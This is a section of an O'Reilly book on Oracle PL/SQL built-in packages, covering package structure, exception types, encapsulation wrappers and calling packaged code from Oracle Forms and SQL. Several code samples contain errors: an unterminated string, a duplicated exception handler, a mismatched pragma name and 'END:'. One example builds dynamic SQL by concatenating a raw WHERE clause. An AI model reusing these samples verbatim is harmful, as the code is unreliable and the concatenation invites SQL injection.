Previous: 1.1 The Power of Built-in Packages | Oracle Built-in Packages | Next: 1.3 Using Built-in Packages
1.1 The Power of Built-in Packages | Book Index | 1.3 Using Built-in Packages
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.3 Using Built-in Packages

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

1.3 Using Built-in Packages

There are several steps involved in using a built-in package:

  1. Install the built-in package into the database. In most cases, this will be done for you automatically. However, some packages, such as UTL_RAW, are not automatically installed or made publicly accessible, at least in the most recent version of Oracle as this book went to press. The individual chapters in this book will tell you about any special steps you need to take to ensure that the package is installed.

  2. Learn about what is available in the package. You can do this by reading the appropriate section of this book and also by looking at the source code (explained later in this chapter).

  3. Place references to elements of the package in your own code. To do this, you need to know the correct syntax for referencing package elements (read on to find out how to do this).

1.3.1 What Is a Package?

This section offers a brief introduction to packages. You can find more detailed treatments in both Oracle PL /SQL Programming (O'Reilly & Associates, 1995 and 1997), and Advanced Oracle PL /SQL Programming with Packages (O'Reilly & Associates, 1996), my two previous books on PL /SQL.

A package is a collection of PL /SQL elements that are "packaged" or grouped together within a special BEGIN-END syntax, a kind of "meta-block" of code. Here is a partial list of the kinds of elements you can place in a package:

  • Cursors

  • Variables (scalars, records, tables, etc.) and constants

  • Exception names and PRAGMAs for associating an error number with an exception

  • PL /SQL table and record TYPE statements

  • Procedures and functions

Packages are among the least understood and most underutilized features of PL /SQL. That's a shame, because the package structure is also one of the most useful constructs for building well-designed PL /SQL-based applications. Packages provide a structure in which you can organize your modules and other PL /SQL elements. They encourage proper structured programming techniques in an environment that often befuddles the implementation of structured programming. When you place a program unit into a package, you automatically create a "context" for that program. By collecting related PL /SQL elements in a package, you express that relationship in the very structure of the code itself. Packages are often called "the poor man's objects" because they support some, but not all, object-oriented rules.

The PL /SQL package is a deceptively simple yet powerful construct. It consists of up to two distinct parts: the specification and the body. The package specification defines the public interface or API (Application Programming Interface) of the package: those elements that can be referenced outside of the package. The package body contains the implementation of the package. In just a few hours you can learn the basic elements of package syntax and rules; there's not all that much to it. You can spend weeks and months, however, uncovering all the nuances and implications of the package structure.

Of course, if you are working with built-in packages, you can leave those details to Oracle. You just have to figure out how to make the best use of the packages provided.

1.3.2 Controlling Access with Packages

Probably the most important implication of package structure is how the builder of the package has complete control over what you can see or do. The users of a package can do either of the following:

  • Execute programs listed in the package specification

  • Reference elements (variables, constants, exceptions, etc.) listed in the package specification

What can't a user of a package do? You can't look inside the package and see how the code was implemented. You can't bypass the programs in the package specification in order to modify (corrupt) data structures managed inside the package body.

These restrictions are closely tied to the power and usefulness of the package structure. To illustrate this point, consider the following simple timer package. First, the specification:

PACKAGE tmr
IS
   PROCEDURE capture;
   PROCEDURE show_elapsed;
END tmr;

The tmr.capture procedure captures the current time. The tmr.show_elapsed procedure shows the elapsed time. The following script, for example, displays the amount of time it takes to run the calc_totals procedure:

BEGIN
   tmr.capture;
   calc_totals;
   tmr.show_elapsed;
END;
/

Now let's take a look at the package body (where all the code for those two procedures resides):

PACKAGE BODY tmr
IS
   last_timing NUMBER := NULL;

   PROCEDURE capture IS
   BEGIN
      last_timing := DBMS_UTILITY.GET_TIME;
   END;

   PROCEDURE show_elapsed IS
   BEGIN
      DBMS_OUTPUT.PUT_LINE (DBMS_UTILITY.GET_TIME - last_timing);
   END;
END tmr;

The DBMS_UTILITY.GET_TIME program is a function from the built-in package, DBMS_UTILITY, which returns the number of hundredths of seconds that have elapsed since an arbitrary point in time. DBMS_OUTPUT is another built-in package; its PUT_LINE procedure displays output from a PL /SQL program to your screen.

Notice that there is another code element defined inside the package body besides the capture and show_elapsed procedures: the last_timing variable. This variable holds the timing value from the last call to tmr.capture. Since last_timing does not appear in the package specification, an external program (i.e., one that is not defined in this package) cannot directly reference that variable. This restriction is illustrated in the Booch diagram[2] Figure 1.1.

[2] This diagram is named after Grady Booch, who pioneered many of the ideas of the package, particularly in the context of object-oriented design.

Figure 1.1: Booch diagram of tmr package

So if I try to access the last_timing variable from outside the tmr package, I get an error. This is shown as follows:

SQL> exec tmr.last_timing := 100;
begin tmr.last_timing := 100; end;
*
ERROR at line 1:
ORA-06550: line 1, column 14:
PLS-00302: component 'LAST_TIMING' must be declared

Why should you or anyone else care about where you define the last_timing variable? Because it illustrates a critical aspect of a package's value: integrity. If I had placed the variable in the specification, then a user of the package could write over the value of last_timing -- and completely invalidate the integrity of the package. Suppose my package specification looked like this:

PACKAGE tmr
IS
   last_timing NUMBER;
   PROCEDURE capture;
   PROCEDURE show_elapsed;
END tmr;

The package compiles and seems to work as before. But consider the following rewrite of my script to time the calc_totals procedure:

BEGIN
   tmr.capture;
   calc_totals;

   tmr.last_timing := DBMS_UTILITY.GET_TIME;

   tmr.show_elapsed;
END;
/

Since tmr.last_timing is now in the package specification, this code will compile, and completely subvert the usefulness of the tmr package. For no matter how much time calc_totals actually takes to execute, the tmr.show_elapsed procedure will always display 0 -- or very close to 0 -- hundredths of seconds for elapsed time.

If, on the other hand, I keep last_timing inside the body of the package, only the tmr.capture procedure can modify its value. A user of tmr is, therefore, guaranteed to get dependable results.

This absolute control is the reason that the package structure has been so useful to Oracle Corporation -- and one of the reasons the company has constructed dozens of built-in packages. Since you can perform only the operations and access the data structures listed in the package specification, Oracle can make technology available in a highly controlled fashion. As long as its developers write their code properly, there will never be any danger that we can disrupt Oracle Server internals by calling built-in packaged functionality.

1.3.3 Referencing Built-in Package Elements

As noted earlier, a package can have up to two parts: the specification and the body. When it comes to built-in packages, you really don't need to concern yourself with the package body. That is the implementation of the package, and something that is the responsibility of Oracle Corporation. With very few exceptions, those package bodies are "wrapped," which means that they are distributed in an encrypted format that you cannot read. This is just as well, because what you really need to do is study the specification to learn about the capabilities offered in that package.

There are two ways to use a built-in package in your own code:

  1. Run a function or procedure defined in the package specification.

  2. Reference a nonprogram element defined in the package specification.

Notice that you never actually execute a package itself. The package is simply a "container" for the various code elements defined in the package. Let's take a look at an example to make all this very clear. The DBMS_SQL package (examined at great length in Chapter 2) allows you to execute dynamic SQL (SQL statements constructed at runtime), a feature previously unavailable in the PL /SQL language. Here is a portion of the specification of that package:

CREATE OR REPLACE PACKAGE DBMS_SQL
IS
  --  CONSTANTS
  --
  v6 constant integer := 0;
  native constant integer := 1;
  v7 constant integer := 2;
  --
  --  PROCEDURES AND FUNCTIONS
  --
  FUNCTION open_cursor RETURN INTEGER;

  PROCEDURE parse
     (c IN INTEGER,
      statement IN VARCHAR2,
      language_flag IN INTEGER);

What this tells you is that there are three different constants, one procedure, and one function defined in the package. (There is actually much, much more, of course, but this is all we need to get the point across.) To reference any of the elements, you will use the same "dot notation" used to specify columns in tables.

So if I want to open a dynamic cursor, I use this:

DECLARE
   dyncur PLS_INTEGER;
BEGIN
   dyncur := DBMS_SQL.OPEN_CURSOR;

And if I want to parse a string using the "native" database method, I would write the following code:

PROCEDURE showemps (where_in IN VARCHAR2)
IS
   dyncur PLS_INTEGER := DBMS_SQL.OPEN_CURSOR;
BEGIN
   DBMS_SQL.PARSE (dyncur,
      'SELECT ename FROM emp WHERE ' || NVL (where_in, '1=1'),
      DBMS_SQL.NATIVE);
   ...
END;

In this case, I have qualified my references to the OPEN_CURSOR, PARSE, and NATIVE elements of the DBMS_SQL package. The first two instances are programs (a function and a procedure). The third instance is a constant, passed as the third argument in my call to DBMS_SQL.PARSE.

1.3.4 Exception Handling and Built-in Packages

Programs in built-in packages can raise exceptions. You will often want to write code to check for and handle these exceptions. You should know about the different ways that exceptions can be defined and raised by programs in the built-in packages. This will affect the way you write your exception handlers.

At the beginning of each package's coverage, you will find a description of the exceptions defined within that package. Within the documentation of many of the programs within a package, you will also find an explanation of the specific exceptions that may be raised by those individual programs. When references are made to named exceptions in these explanations, they will appear in one of two forms:

PACKAGE.exception_name

or:

exception_name

If the exception name is unqualified (i.e., no package name appears before the exception name), then this exception is defined either:

  • In the package currently under discussion, or

  • In the STANDARD package; examples are VALUE_ERROR and NO_DATA_FOUND.

In this section, I will review the four types of exceptions you may encounter when working with built-in packages. I will then show you the kind of code you will need to write to handle exceptions properly when they propagate out from built-in packages. The following sections demonstrate how to write code to work with these different types of exceptions.

Table 1.2 summarizes these types.

Table 1.2: Types of Exceptions
Type | How Exception Is Defined | How Exception Is Raised | SQLCODE Behavior | SQLERRM Behavior | How to Handle Exception
Package-named system exception | The package gives a name to a specific Oracle error number using the PRAGMA EXCEPTION_INIT statement. | The packaged program issues a RAISE statement. | Returns the Oracle error number. | Returns the standard Oracle error message text. | You can handle it by number within a WHEN OTHERS clause, or by name with its own exception handler; the latter improves the readability of your code.
Package-defined exception | The package declares one or more exceptions; these exceptions have names, but no message text and no unique number. | The packaged program RAISEs that exception by name. | Returns 1. | Returns "Unhandled user-defined exception" message. | You can only handle it by name or with a WHEN OTHERS clause, in which case it is impossible to tell which exception was raised.
Standard system exception | It is previously given a name in the STANDARD package or it is simply an error number. | The packaged program issues a RAISE statement. | Returns the Oracle error number. | Returns the standard Oracle error message text. | You can handle it by name in its own exception handler, if a name has been associated with that error number. Otherwise, you handle the exception by number in a WHEN OTHERS clause.
Package-specific exception | In this case, Oracle has rudely appropriated for itself one or more of the application-specific error numbers between -20,999 and -20,000 set aside for customers. | The packaged program calls RAISE_APPLICATION_ERROR. | Returns the number in the -20NNN range. | Returns the message text provided in the call to RAISE_APPLICATION_ERROR. | You can handle these exceptions by number within a WHEN OTHERS clause.

1.3.4.1 Package-named system exception

In this scenario, the package gives a name to a specific Oracle error number using the PRAGMA EXCEPTION_INIT statement. You can then handle the exception by name with its own exception handler or by number within a WHEN OTHERS clause. Let's look at an example.

The DBMS_DEFER package associates names with a number of Oracle errors. Here is an example of one such association:

updateconflict EXCEPTION;
PRAGMA EXCEPTION_INIT (updateconflict, -23303);

If a program in DBMS_DEFER raises this exception, you can handle it in either of the following ways:

EXCEPTION
   WHEN DBMS_DEFER.UPDATECONFLICT
   THEN
      /* SQLCODE returns -23303 and SQLERRM returns the standard
         Oracle error message */

or:

EXCEPTION
   WHEN OTHERS
   THEN
      IF SQLCODE = -23303
      THEN
         /* SQLERRM returns the standard Oracle error message */

NOTE: You will not be able to write a statement like WHEN DBMS_DEFER.UPDATECONFLICT in the Oracle Developer/2000 Release 1 environment. See Section 1.3.6, "Calling Built-in Packaged Code from Oracle Developer/2000 Release 1"" for more information on this restriction.

1.3.4.2 Package-defined exception

In this scenario, the package declares one or more exceptions by name only; these exceptions do not have message text or a unique number associated with them. When this exception has been raised, SQLCODE will always return 1 and SQLERRM will always return the "Unhandled user-defined exception" message. As a consequence, you have two basic options for handling these exceptions:

  • You handle by name; write an exception handler that references the packaged exception by name.

  • You rely on the WHEN OTHERS clause, in which case there is no way for you to know precisely which exception was raised.

Let's look at the UTL_FILE package for an example. The following exceptions are defined in the package specification:

PACKAGE UTL_FILE
IS
   invalid_path EXCEPTION;
   invalid_mode EXCEPTION;
   invalid_filehandle EXCEPTION;
   invalid_operation EXCEPTION;
   read_error EXCEPTION;
   write_error EXCEPTION;
   internal_error EXCEPTION;
END;

The UTL_FILE.FOPEN function can raise the INVALID_MODE, INVALID_OPERATION, or INVALID_PATH exceptions. I can write an exception section for a program using UTL_FILE.FOPEN in one of two ways:

PROCEDURE my_program
IS
   fid UTL_FILE.FILE_TYPE;
BEGIN
   fid := UTL_FILE.FOPEN ('/tmp', 'myfile.txt', 'R');
   ...
EXCEPTION
   WHEN UTL_FILE.INVALID_OPERATION
   THEN
      ...
   WHEN UTL_FILE.INVALID_MODE
   THEN
      ...
   WHEN UTL_FILE.INVALID_PATH
   THEN
      ...
END;

or:

PROCEDURE my_program
IS
   fid UTL_FILE.FILE_TYPE;
BEGIN
   fid := UTL_FILE.FOPEN ('/tmp', 'myfile.txt', 'R');
   ...
EXCEPTION
   WHEN OTHERS /* Not recommended! Information is lost... */
   THEN
      ...
END;

When working with this kind of exception, always use the first approach. With the WHEN OTHERS clause, there is no way for you to know which of the three UTL_FILE exceptions was raised. SQLCODE returns the same value of 1 regardless of the specific exception raised.

NOTE: You will not be able to write a statement like WHEN UTL_FILE.INVALID_MODE in the Oracle Developer/2000 Release 1 environment. See Section 1.3.6" for more information on this restriction.

1.3.4.3 Standard system exception

In this scenario, the package does not contain any statements that define new exceptions, nor does it give names to existing Oracle error numbers. Instead, a program in the package simply raises one of the errors defined in the Oracle documentation. You can then handle this exception by its name (if there is one) or by its number within a WHEN OTHERS clause. Let's look at an example.

The UTL_FILE.GET LINE procedure raises the NO_DATA_FOUND exception (ORA-01403, but SQLCODE actually returns a value of 100) if you try to read past the end of a file. You can handle this error in either of the following ways:

EXCEPTION
  WHEN NO_DATA_FOUND
  THEN
   ...

or:

EXCEPTION
   WHEN OTHERS
   THEN
      IF SQLCODE = 100
      THEN
         /* SQLERRM returns the standard Oracle error message */
         ...
END;

Of course, if you need to handle an exception that does not have a name associated with it, you can only rely on the WHEN OTHERS clause and an IF statement with SQLCODE to handle that error specifically.

1.3.4.4 Package-specific exception

In some packages, Oracle developers decided to appropriate for their own use error numbers in the range set aside by Oracle Corporation for customer use (-20999 through -20000). This is very poor practice, as it can cause conflicts with your ownuse of these values. Unfortunately, it does happen and you need to know what to do about it.

For example, the DBMS_OUTPUT package uses the -20000 error number to communicate back to the calling program either one of these errors:

ORU-10027: buffer overflow, limit of <buf_limit> bytes.
ORU-10028: line length overflow, limit of 255 bytes per line.

Here is a attempt to call DBMS_OUTPUT.PUT_LINE that raises an unhandled exception in a SQL*Plus session:

SQL> exec dbms_output.put_line (rpad ('abc', 300, 'def'))
*
ERROR at line 1:
ORA-20000: ORU-10028: line length overflow, limit of 255 bytes per line
ORA-06512: at "SYS.DBMS_OUTPUT", line 99
ORA-06512: at "SYS.DBMS_OUTPUT", line 65
ORA-06512: at line 1

I can handle this error if I call the built-in procedure from within a PL /SQL block as follows:

/* Filename on companion disk: myput.sp /*
CREATE OR REPLACE PROCEDURE myput (str IN VARCHAR2)
IS
BEGIN
   DBMS_OUTPUT.PUT_LINE (str);
EXCEPTION
   WHEN OTHERS
   THEN
      IF SQLCODE = -20000
      THEN
         IF SQLERRM LIKE '%ORU-10027%'
         THEN
            DBMS_OUTPUT.ENABLE (1000000);
            myput (str);

         ELSIF SQLERRM LIKE '%ORU-10028%'
         THEN
            myput (SUBSTR (str, 1, 255));
            myput (SUBSTR (str, 256));
         END IF;
      END IF;
END;
/

The myput procedure implements the following logic: try to display the string. If an exception is raised, check to see if it is a -20000 error. If so, see if the error message indicates that it is a "buffer too small" error. If so, expand the buffer to the maximum size and try again to display the string. If the error message indicates a "string too long" error, display the first 255 bytes and then call myput again recursively to display the rest of the string.

1.3.4.5 Same exception, different causes

One interesting situation you may run into when working with some of the built-in packages is that the same exception can be raised from different circumstances. Specifically, the NO_DATA_FOUND exception is raised by the PL /SQL runtime engine under any of these conditions:

  • You execute a SELECT INTO query (an implicit cursor) that does not identify any rows.

  • You attempt to access a row in a PL /SQL or index-by table that is not yet defined.

  • You try to read past the end of a file using UTL_FILE.GET_LINE.

  • You read past the end of a large object with DBMS_LOB.READ.

If you are writing code that could raise NO_DATA_FOUND for different reasons, you may not be able to get by with a single exception handler like this:

EXCEPTION
   WHEN NO_DATA_FOUND
   THEN
      /* ?? What caused the problem? */
      ...
END;

You will want to know in the exception handler whether the problem was that the query returned no rows, or you read past the end of the file, or you tried to access an undefined row in an index-by table, or something else. If you face this problem, you may want to use a technique I call exception aliasing. Consider the very short program below:

CREATE OR REPLACE PROCEDURE just_a_demo
   (file IN UTL_FILE.FILE_TYPE, empno_in IN emp.empno%TYPE)
IS
   line VARCHAR2(1000);
   end_of_file EXCEPTION;
   v_ename emp.ename%TYPE;
BEGIN
   SELECT ename
     INTO v_ename
     FROM emp
    WHERE empno = empno_in;

   BEGIN
      UTL_FILE.GET_LINE (file, line);
   EXCEPTION
      WHEN NO_DATA_FOUND
      THEN
         RAISE end_of_file;
   END;
EXCEPTION
   WHEN end_of_file
   THEN
      DBMS_OUTPUT.PUT_LINE ('Read past end of file!');

   WHEN NO_DATA_FOUND
   THEN
      DBMS_OUTPUT.PUT_LINE
         ('No employee found for ' || TO_CHAR (empno_in));
END:
/

I have embedded the call to UTL_FILE.GET_LINE inside its own block. If that program reads past the end of a file and raises NO_DATA_FOUND, that block's exception section "translates" NO_DATA_FOUND into another, distinct exception: end_of_file (declared in the procedure itself ). The exception section of the procedure as a whole can then distinguish between the two different NO_DATA_FOUND scenarios.

1.3.5 Encapsulating Access to the Built-in Packages

You will discover (both through reading this book and through your own experience) that there are many reasons to avoid directly accessing built-in packaged functionality. In a number of cases, you will want to build your own package on top of the built-in package. This process is usually referred to as encapsulation.

Why would you bother with an encapsulation package? Any of the following reasons will do:

  • The built-in packages offer lots of interesting technology, but they are not always very easy to use. You can hide the complexity, or in some cases, the poor design, and make it much easier for yourself and others to reap the benefits.

  • Some of the packages contain programs that you would not want to make generally or widely available. Conversely, other programs in that same package might be very useful for the "general public." An encapsulation package can offer only those programs that should be available, while hiding the others. (In this case, you will want to revoke any EXECUTE privileges on the underlying package.)

  • Write less code. Have you ever noticed the really impressive lengths of the names of Oracle built-in packages and their programs? Studies conducted by the Institute for Study Conduction estimate that by the year 2000, developers using PL /SQL will have experienced a $150 trillion loss in productivity due to having to type names like DBMS_DESCRIBE.DESCRIBE_PROCEDURE. Your encapsulations can use shorter names and thereby erase the federal deficit.

  • Take full advantage of built-in packages from Oracle Developer/2000 Release 1. As you will read in the next section, there are many restrictions on accessing stored code from products like Oracle Forms. Encapsulation can help you work around these restrictions.

Roughly speaking, there are two types of encapsulation to consider when working with the built-in packages:

Extension encapsulation

This is the most common type of encapsulation for built-in packages. In this case, you provide one or more programs that extend the functionality or usability of the underlying package.

Covering encapsulation

When you create a cover for a built-in package, you create a package with a specification that matches that of the built-in package (same program names, same parameter lists). You can even give your package the same name as the built-in package, but you install it in a schema other than SYS.

When you revoke EXECUTE authority on the built-in package and grant EXECUTE authority on your package, users of the built-in package will automatically be directed to your replacement. Oracle recommends this technique, for example, with the DBMS_APPLICATION_INFO package.

1.3.5.1 Examples of encapsulation packages

This book (and the accompanying disk) contains many packages that encapsulate or cover an underlying built-in package (or, in some cases, a subset of the package). Table 1.3 shows the encapsulation packages in the book.

Table 1.3: Encapsulation Packages for Built-ins
Built-in Package/ Program | Encapsulation Package Name | File | Description
DBMS_AQ DBMS_AQADM | aq | aq.spp | Hides details of creating, starting, stopping, and dropping queues and queue tables. The package allows you to write less code and also handles common errors.
DBMS_APPLICATION_ INFO | register_app | register.sql | Allows developers to easily register applications and track resource usage statistics.
DBMS_APPLICATION_ INFO.SET_SESSION_ LONGOPS | longops | longops.sql | Simplifies use of this difficult procedure.
DBMS_UTILITY. GET_PARAMETER_ VALUE | dbparm | dbparm.spp | Makes it easier to obtain specific initialization values from the database instance.
DBMS_UTILITY. DB_VERSION | db | dbver.spp | Converts through encapsulation the DB_VERSION procedure into two separate functions, so you can ask for the version or the compatibility value, as desired.
DBMS_SQL. DESCRIBE_ COLUMNS | desccols | desccols.spp | Provides a general, flexible interface to DBMS_SQL.DESCRIBE_COLUMNS so you don't need to declare PL /SQL tables and call that wordy built-in procedure to obtain the column information.
DBMS_SQL.PARSE | dynconst | dynconst.spp | Hides the need to provide a DBMS_SQL database mode when you parse a SQL statement. This technique is especially useful when you are writing code in Oracle Developer/2000 Release 1. (See the next section for details.)
DBMS_DESCRIBE | psdesc | psdesc.spp | Hides the need to declare a dozen different PL /SQL tables just so you can use DBMS_DESCRIBE. DESCRIBE_PROCEDURE.
DBMS_IJOB.REMOVE | remove_all_jobs (procedure) | job3.sql | Allows the DBA to remove all jobs regardless of owner.
DBMS_LOCK | dblock | dblock.sql | Simplifies the use of user-named locks, as well as maximizing their efficiency.
DBMS_IJOB.BROKEN | break_all_jobs (procedure) | job3.sql | Allows the DBA to set the broken flag in all jobs regardless of owner.
DBMS_PIPE | dbpipe | dbpipe.sql | Provides some useful and interesting pipe utilities, including generic message pack/unpack and message forwarding.
DBMS_SESSION | my_session | mysess.sql | Simplifies use of some of the programs and adds some additional conveniences.
DBMS_SHARED_POOL. KEEP | object_keeper (procedure) | keeper.sql | Allows configurable auto-keeping of packages in database startup scripts.
DBMS_SPACE | segspace | segspace.sql | Transforms the unwieldy procedure calls into simple, SQL-callable functions.
DBMS_SYSTEM. SET_SQL_TRACE_ IN_SESSION | trace | trace.sql | Allows the DBA to set SQL tracing on or off in other sessions by username or session id.

1.3.6 Calling Built-in Packaged Code from Oracle Developer/2000 Release 1

If you use Oracle Developer/2000 Release 1 to build your client-side application, you can use the built-in packages, but you should be aware of the following restrictions:[3]

[3] These restrictions are not likely to affect you when you work with Oracle Developer/2000 Release 2 or above.

  • You can reference only packaged procedures and functions. You cannot, for example, make reference in your client-side code to DBMS_SQL.NATIVE (a constant) or UTL_FILE.INVALID_OPERATION (an exception).

  • You must supply a value for each argument in a packaged procedure or function. You cannot rely on default values in the headers of those programs. This is true even if those default values do not reference elements in the built-in packages (in other words, are literal values).

  • You must be connected to the Oracle database before you can compile program units that reference built-in packages. While it is possible to work on your client-side module without connecting to Oracle, the PL /SQL compiler cannot resolve references to server-side objects like built-in packages unless you are connected.

The following sections explore these restrictions in more detail and suggest work-arounds for making full use of the built-in packages from within products like Oracle Forms and Oracle Reports.

1.3.6.1 Referencing packaged constants and variables

Consider the DBMS_SQL.PARSE procedure. Here is the header for this program:

PROCEDURE DBMS_SQL.PARSE
  (c IN INTEGER,
   statement IN VARCHAR2,
   language_flag IN INTEGER);

The third argument, language_flag, can be any of the following values, as defined by constants in the DBMS_SQL specification:

DBMS_SQL.V6
DBMS_SQL.V7
DBMS_SQL.NATIVE

Now, if you try to execute this program in an Oracle Forms program unit, as in the following,

BEGIN
   DBMS_SQL.PARSE (cur, 'SELECT ...', DBMS_SQL.NATIVE);
   ...

you will receive this error:

Error 302: component NATIVE must be declared

Oracle Forms simply does not know how to interpret anything but procedures and functions in stored packages. So what's a developer to do? You have several options:

  • Find out the literal value behind the named constant and use that, or

  • Create a stored function that encapsulates the constant and call that, or

  • Create a stored procedure that calls DBMS_SQL.PARSE and hides the use of the constant.

The first option would result in code like this:

BEGIN
   DBMS_SQL.PARSE (cur, 'SELECT ...', 1);
   ...

I suggest that you do not take this approach. You are always better off not proliferating the use of literals like this one in your code. They are hard to understand and leave you vulnerable to errors caused by changes in the way that DBMS_SQL behaves.

The second option (encapsulating the constant inside a function) is better. I could, for example, create a tiny package as follows:

/* Filename on companion disk: dynconst.spp */*
CREATE OR REPLACE PACKAGE dynsql_value
IS
    FUNCTION v6 RETURN INTEGER;
    FUNCTION v7 RETURN INTEGER;
    FUNCTION native RETURN INTEGER;
END;
/
CREATE OR REPLACE PACKAGE BODY dynsql_value
IS
    FUNCTION v6 RETURN INTEGER
       IS BEGIN RETURN DBMS_SQL.V6; END;

    FUNCTION v7 RETURN INTEGER
       IS BEGIN RETURN DBMS_SQL.V7; END;

    FUNCTION native RETURN INTEGER
       IS BEGIN RETURN DBMS_SQL.NATIVE; END;
END;
/

With this code in place on the server, I can then call DBMS_SQL.PARSE as follows:

BEGIN
   DBMS_SQL.PARSE (cur, 'SELECT ...', dynsql_value.native);
   ...

This code is almost identical to my first example, but I am calling a function rather than referencing a literal, and that makes all the difference.

The third option, encapsulating the call to DBMS_SQL.PARSE, is perhaps the optimal solution. Why should you even have to bother passing the database mode? You might as well just always make it "native." Here is some code that hides this argument entirely:

*Filename on companion disk: dynconst.spp */
CREATE OR REPLACE PACKAGE dynsql_value
IS
   PROCEDURE parse (cur IN INTEGER, sql_str IN VARCHAR2);
END;
/
CREATE OR REPLACE PACKAGE BODY dynsql_value
IS
   PROCEDURE parse (cur IN INTEGER, sql_str IN VARCHAR2)
   IS
   BEGIN
      DBMS_SQL.PARSE (cur, sql_str, DBMS_SQL.NATIVE)
   END;
END;
/

Now I can parse a SQL statement from within Oracle Forms as follows:

BEGIN
   dynsql_value.parse (cur, 'SELECT ...');
   ...

I recommend this last technique, because you will inevitably find other workaround needs having to do with DBMS_SQL or another built-in package. Why not collect them all together in a single encapsulator package? This point is driven home in the next section.

1.3.6.2 Handling exceptions in Oracle Developer/2000 Release 1

An earlier section in this chapter ("Exception Handling and Built-in Packages") explored the different types of exceptions that can be raised from within built-in packages. One type in particular, the package-specific exception, presents a challenge to Oracle Developer/2000 programmers.

Consider once again the UTL_FILE package. It declares a number of exceptions and, as noted previously, the only way to handle those exceptions (and know which exception was raised) is to create an explicit exception handler, as in:

EXCEPTION
   WHEN UTL_FILE.INVALID_MODE
   THEN
      ...
END;

Unfortunately, you cannot write this kind of code from Oracle Forms. It cannot resolve the reference to UTL_FILE.INVALID_MODE. What can you do? If you are going to make extensive use of UTL_FILE from Oracle Forms (or Oracle Reports), and you want to build in some robust error handling, you should probably consider building a wrapper package around UTL_FILE.

Instead of calling UTL_FILE.FOPEN directly, for example, and risk raising an exception you cannot interpret accurately, you might want to consider something like this:

/* Filename on companion disk: myfile.spp */
CREATE OR REPLACE PACKAGE myfile
IS
   /* Document in the package specification that:
      - INVALID_MODE is returned as -20100.
      - INVALID_PATH is returned as -20101.
      - INVALID_OPERATION is returned as -20102.
   */
   PROCEDURE fopen
     (loc IN VARCHAR2, file IN VARCHAR2, fmode IN VARCHAR2);
END;
/
CREATE OR REPLACE PACKAGE BODY myfile
IS
   g_file UTL_FILE.FILE_TYPE;

   PROCEDURE fopen
     (loc IN VARCHAR2, file IN VARCHAR2, fmode IN VARCHAR2)
   IS
   BEGIN
      g_file := UTL_FILE.FOPEN (loc, file, fmode);
   EXCEPTION
      WHEN UTL_FILE.INVALID_MODE
      THEN
         RAISE_APPLICATION_ERROR (-20100, 'Invalid mode ' || fmode);

      WHEN UTL_FILE.INVALID_PATH
      THEN
         RAISE_APPLICATION_ERROR (-20101, 'Invalid path ' || loc);

      WHEN UTL_FILE.INVALID_MODE
      THEN
         RAISE_APPLICATION_ERROR (-20102, 'Invalid operation);

   END;
END;
/

I accomplish two things with this prototype package:

  1. I translate the package-specific exceptions to -20NNN exceptions. Therefore, my UTL_FILE exception now has a number. I can check for that number within my client-side application and take appropriate action.

  2. I hide the UTL_FILE.FILE_TYPE record. From Oracle Forms, I cannot even declare a record of this type (it is not a program, so UTL_FILE.FILE_TYPE cannot be referenced from within Oracle Developer/2000 Release 1).

With this wrapper approach, you can build a package that allows you to read and write a particular server-side file from Oracle Forms. You would still need to build read, write, and close procedures, but the technique should be clear.

1.3.7 Accessing Built-in Packaged Technology from Within SQL

Throughout this book, you will find documentation indicating whether a particular packaged function can be called from within an SQL statement, or whether a packaged procedure can be called by a function that, in turn, is called from within SQL. This section explains the significance of that capability.

If you are running a version of Oracle Server 7.1 and beyond, you can call PL /SQL functions from within SQL statements. (If you are not running at least Oracle Server 7.1, you can skip this section -- but you should also certainly upgrade your database software as soon as possible!) Let's take a look at an example to give you a feel for this capability.

Suppose that my formula for calculating total compensation for an employee is "salary plus commission." Here is that formula implemented in PL /SQL:

CREATE OR REPLACE FUNCTION totcomp
  (sal_in IN NUMBER, comm_in IN NUMBER)
RETURN NUMBER
IS
BEGIN
   RETURN sal_in + NVL (comm_in, 0);
END;
/

Once this program is stored in the database, I can call it from within a query as follows:

SQL> SELECT ename, totcomp (sal, comm) total_compensation FROM emp;

ENAME      TOTAL_COMPENSATION
---------- ------------------
SMITH                     800
...
MILLER                   1300

You can also call a packaged function from within a SQL statement. In this case, however, you must also provide a special statement, the RESTRICT_REFERENCES pragma, to enable that function for use inside SQL. Here, for example, is the code you would have to write to place totcomp inside a package and still call it from a query:

CREATE OR REPLACE PACKAGE empcomp
IS
   FUNCTION totcomp
     (sal_in IN NUMBER, comm_in IN NUMBER)
   RETURN NUMBER;

   PRAGMA RESTRICT_REFERENCES (total, WNDS, RNDS, WNPS, RNPS);
END;
/
CREATE OR REPLACE PACKAGE BODY empcomp
IS
   FUNCTION totcomp
     (sal_in IN NUMBER, comm_in IN NUMBER)
   RETURN NUMBER
   IS
   BEGIN
      RETURN (sal_in + NVL (comm_in, 0));
   END;
END;
/

The line in bold is the statement asserting that the empcomp.total function does not violate any of the restrictions on functions in SQL. Here is how you would call this packaged function inside SQL:

SQL> SELECT ename, empcomp.total (sal, comm) total_comp from emp;

ENAME      TOTAL_COMP
---------- ----------
SMITH             800
...
MILLER           1300

The same rules apply for built-in packaged programs callable from SQL. Oracle Corporation itself must provide a RESTRICT_REFERENCES pragma in its own package specifications for any procedure or function that is to be used from within SQL. And since Oracle did not pragmatize built-in packages prior to Oracle 7.3.3, you will not be able to call built-in packaged programs from SQL (directly or indirectly) until you install Oracle 7.3.4 or later.

If you try to call a packaged function in SQL that does not have such a pragma, you will receive this error:

SQL> SELECT utl_file.fopen ('/tmp', ename || '.dat', 'R')
  2    FROM employee;
select utl_file.fopen ('a', 'b', 'r') from employee
       *
ERROR at line 1:
ORA-06571: Function FOPEN does not guarantee not to update database

Don't you hate those double negatives?

You will also encounter this same error if you try to execute a function in SQL that, in turn, calls a packaged procedure that does not have a pragma. For example, the DBMS_JOB.SUBMIT procedure is not "pragma-tized" for use in SQL. Consequently, the following function (exactly the same as that shown earlier, except for the addition of the procedure call) will not be executable within SQL:

CREATE OR REPLACE FUNCTION totcomp
  (sal_in IN NUMBER, comm_in IN NUMBER)
RETURN NUMBER
IS
   myjob INTEGER;
BEGIN
   DBMS_JOB.SUBMIT (myjob, 'calc_totals;');
   RETURN (sal_in + NVL (comm_in, 0));
END;
/

